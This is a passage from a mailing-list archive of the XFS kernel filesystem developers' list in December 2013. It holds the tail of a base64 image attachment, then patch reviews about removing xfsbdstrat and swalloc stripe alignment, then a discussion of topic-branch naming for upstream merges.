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 ------=_NextPart_000_0729_01CEFAB7.67F7B810-- From bpm@sgi.com Mon Dec 16 16:44:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 65E297F3F for ; Mon, 16 Dec 2013 16:44:33 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 31E5230406B; Mon, 16 Dec 2013 14:44:33 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id EA5A24266DC; Mon, 16 Dec 2013 16:44:32 -0600 (CST) Date: Mon, 16 Dec 2013 16:44:32 -0600 From: Ben Myers To: Christoph Hellwig Cc: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. Message-ID: <20131216224432.GP1935@sgi.com> References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-2-git-send-email-david@fromorbit.com> <20131213130230.GA22594@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213130230.GA22594@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Dec 13, 2013 at 05:02:30AM -0800, Christoph Hellwig wrote: > I think the real problem here is not nessecarily marking uncached > buffers as stale, but marking unlocked buffers as stale. This kinda > overlaps because we only really ever do I/O on unlocked buffers if they > are uncached too as it would be safe otherwise. > > I think this is easily fixable by never calling xfsbdstrat on unlocked > buffers, and as an extension simply killing xfsbdstrat as it's already > fairly useless. The patch below replaces all calls of xfsbdstrat with > trivial error handling for the callers that have local uncached buffers, > and opencodes it in the one remaining other caller. There's a lot left > to be cleaned up in this area, but this seems like the least invasive > patch that doesn't cause more of a mess. > > --- > From: Christoph Hellwig > Subject: [PATCH] xfs: remove xfsbdstrat > > The xfsbdstrat helper is a small but useless wrapper for xfs_buf_iorequest that > handles the case of a shut down filesystem. Most of the users have private, > uncached buffers that can just be freed in this case, but the complex error > handling in xfs_bioerror_relse messes up the case when it's called without > a locked buffer. > > Remove xfsbdstrat and opencode the error handling in the callers. All but > one can simply return an error and don't need to deal with buffer state, > and the one caller that cares about the buffer state could do with a major > cleanup as well, but we'll defer that to later. > > Signed-off-by: Christoph Hellwig > > diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c > index 5887e41..1394106 100644 > --- a/fs/xfs/xfs_bmap_util.c > +++ b/fs/xfs/xfs_bmap_util.c > @@ -1187,7 +1187,12 @@ xfs_zero_remaining_bytes( > XFS_BUF_UNWRITE(bp); > XFS_BUF_READ(bp); > XFS_BUF_SET_ADDR(bp, xfs_fsb_to_db(ip, imap.br_startblock)); > - xfsbdstrat(mp, bp); > + > + if (XFS_FORCED_SHUTDOWN(mp)) { > + error = XFS_ERROR(EIO); > + break; > + } > + xfs_buf_iorequest(bp); > error = xfs_buf_iowait(bp); > if (error) { > xfs_buf_ioerror_alert(bp, > @@ -1200,7 +1205,12 @@ xfs_zero_remaining_bytes( > XFS_BUF_UNDONE(bp); > XFS_BUF_UNREAD(bp); > XFS_BUF_WRITE(bp); > - xfsbdstrat(mp, bp); > + > + if (XFS_FORCED_SHUTDOWN(mp)) { > + error = XFS_ERROR(EIO); > + break; > + } > + xfs_buf_iorequest(bp); > error = xfs_buf_iowait(bp); > if (error) { > xfs_buf_ioerror_alert(bp, > diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c > index ce01c1a..544315e 100644 > --- a/fs/xfs/xfs_buf.c > +++ b/fs/xfs/xfs_buf.c > @@ -698,7 +698,11 @@ xfs_buf_read_uncached( > bp->b_flags |= XBF_READ; > bp->b_ops = ops; > > - xfsbdstrat(target->bt_mount, bp); > + if (XFS_FORCED_SHUTDOWN(target->bt_mount)) { > + xfs_buf_relse(bp); > + return NULL; > + } > + xfs_buf_iorequest(bp); > xfs_buf_iowait(bp); > return bp; > } > @@ -1089,7 +1093,7 @@ xfs_bioerror( > * This is meant for userdata errors; metadata bufs come with > * iodone functions attached, so that we can track down errors. > */ > -STATIC int > +int > xfs_bioerror_relse( > struct xfs_buf *bp) > { > @@ -1164,25 +1168,6 @@ xfs_bwrite( > return error; > } > > -/* > - * Wrapper around bdstrat so that we can stop data from going to disk in case > - * we are shutting down the filesystem. Typically user data goes thru this > - * path; one of the exceptions is the superblock. > - */ > -void > -xfsbdstrat( > - struct xfs_mount *mp, > - struct xfs_buf *bp) > -{ > - if (XFS_FORCED_SHUTDOWN(mp)) { > - trace_xfs_bdstrat_shut(bp, _RET_IP_); > - xfs_bioerror_relse(bp); > - return; > - } > - > - xfs_buf_iorequest(bp); > -} > - > STATIC void > _xfs_buf_ioend( > xfs_buf_t *bp, > diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h > index e656833..7e41b08 100644 > --- a/fs/xfs/xfs_buf.h > +++ b/fs/xfs/xfs_buf.h > @@ -269,9 +269,6 @@ extern void xfs_buf_unlock(xfs_buf_t *); > > /* Buffer Read and Write Routines */ > extern int xfs_bwrite(struct xfs_buf *bp); > - > -extern void xfsbdstrat(struct xfs_mount *, struct xfs_buf *); > - > extern void xfs_buf_ioend(xfs_buf_t *, int); > extern void xfs_buf_ioerror(xfs_buf_t *, int); > extern void xfs_buf_ioerror_alert(struct xfs_buf *, const char *func); > @@ -282,6 +279,8 @@ extern void xfs_buf_iomove(xfs_buf_t *, size_t, size_t, void *, > #define xfs_buf_zero(bp, off, len) \ > xfs_buf_iomove((bp), (off), (len), NULL, XBRW_ZERO) > > +extern int xfs_bioerror_relse(struct xfs_buf *); > + > static inline int xfs_buf_geterror(xfs_buf_t *bp) > { > return bp ? bp->b_error : ENOMEM; > diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c > index 07ab52c..73c1493 100644 > --- a/fs/xfs/xfs_log_recover.c > +++ b/fs/xfs/xfs_log_recover.c > @@ -193,7 +193,10 @@ xlog_bread_noalign( > bp->b_io_length = nbblks; > bp->b_error = 0; > > - xfsbdstrat(log->l_mp, bp); > + if (XFS_FORCED_SHUTDOWN(log->l_mp)) > + return XFS_ERROR(EIO); > + > + xfs_buf_iorequest(bp); > error = xfs_buf_iowait(bp); > if (error) > xfs_buf_ioerror_alert(bp, __func__); > @@ -4408,7 +4411,11 @@ xlog_do_recover( > XFS_BUF_READ(bp); > XFS_BUF_UNASYNC(bp); > bp->b_ops = &xfs_sb_buf_ops; > - xfsbdstrat(log->l_mp, bp); > + > + if (XFS_FORCED_SHUTDOWN(log->l_mp)) > + return XFS_ERROR(EIO); > + I think we need a xfs_buf_relse(bp); before returning. Looks good otherwise. Reviewed-by: Ben Myers From bpm@sgi.com Mon Dec 16 17:14:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0516A7F3F for ; Mon, 16 Dec 2013 17:14:18 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id DF60D8F8052; Mon, 16 Dec 2013 15:14:14 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 861454266DC; Mon, 16 Dec 2013 17:14:14 -0600 (CST) Date: Mon, 16 Dec 2013 17:14:14 -0600 From: Ben Myers To: Christoph Hellwig , Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/6] xfs: swalloc doesn't align allocations properly Message-ID: <20131216231414.GQ1935@sgi.com> References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-5-git-send-email-david@fromorbit.com> <20131213120123.GA32749@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213120123.GA32749@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Gents, On Fri, Dec 13, 2013 at 04:01:23AM -0800, Christoph Hellwig wrote: > Looks good. > > Reviewed-by: Christoph Hellwig > > Two very minor nitpicks below: > > > + int stripe_align; > > > > ASSERT(ap->length); > > > > mp = ap->ip->i_mount; > > + > > + /* stripe alignment for allocation is determined by mount parameters */ > > + stripe_align = 0; > > + if (mp->m_swidth && (mp->m_flags & XFS_MOUNT_SWALLOC)) > > + stripe_align = mp->m_swidth; > > + else if (mp->m_dalign) > > + stripe_align = mp->m_dalign; > > nipick: I'd either initialize the variable to zero at the point of the > declaration or do if .. else if .. else here. > > > } > > + > > + > > nullfb = *ap->firstblock == NULLFSBLOCK; > > Two newlines seem odd here. I'd support one even if that's an unrelated > change :) This is probably not the right thing to do for small files. They will all end up in the first stripe unit. Quoting jpk from http://lwn.net/Articles/87526/ " o [XFS] Add support for allocating additional file space in stripe width sized chunks. A new fstab/mount option, "swalloc" has been defined. If specified when mounting a striped file system, allocation requests will be rounded up to a stripe width if the file size is >= stripe width, and the data is being appended to eof. The 'swalloc' option is "off" by default. " This feature was likely designed with volume stripes in mind as opposed to to raid stripes. -Ben From bpm@sgi.com Mon Dec 16 17:39:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 254417F3F for ; Mon, 16 Dec 2013 17:39:44 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0701F304066; Mon, 16 Dec 2013 15:39:40 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id D9ECF4266DC; Mon, 16 Dec 2013 17:39:40 -0600 (CST) Date: Mon, 16 Dec 2013 17:39:40 -0600 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [RFC] Handling of reviewed patch series Message-ID: <20131216233940.GR1935@sgi.com> References: <20131213053611.GQ10988@dastard> <20131213185618.GJ1935@sgi.com> <20131213231401.GZ10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213231401.GZ10988@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Dave, On Sat, Dec 14, 2013 at 10:14:01AM +1100, Dave Chinner wrote: > On Fri, Dec 13, 2013 at 12:56:18PM -0600, Ben Myers wrote: > > On Fri, Dec 13, 2013 at 04:36:11PM +1100, Dave Chinner wrote: > > > Lines of development that overlap will generate conflicts at the > > > for-next branch merge, and at that point we can decide how to > > > deal with the problem. e.g. turn the conflicting topic branches > > > into a single, larger topic branch, live with it, etc. > > > > > > When it comes to sending code upstream to Linus, we can either > > > send a pull request per topic branch - Linus often likes to do > > > merges himself - or we can merge them all into a single branch > > > and ask Linus to pull that. The deciding factor may well be > > > Linus himself... > > > > If you take a look at merges into mainline using gitweb they look > > like this: > > > > Merge branch 'for-linus' of git://git./linux/kernel... > > > > I suggest that the topic branches start with xfs. > > > > e.g. 'xfs-refactor-icluster-macros' would be better than > > 